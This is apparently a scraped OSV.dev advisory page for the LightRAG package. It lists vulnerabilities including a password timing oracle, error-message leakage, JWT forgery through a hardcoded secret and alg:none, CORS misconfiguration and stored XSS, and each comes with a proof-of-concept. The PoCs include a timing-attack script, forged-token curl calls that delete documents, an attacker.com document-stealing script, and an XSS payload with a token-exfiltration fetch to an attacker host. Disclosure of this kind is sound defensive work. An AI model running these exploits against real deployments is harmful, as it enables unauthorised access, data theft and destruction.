            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 04, 2025

1.4.7 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

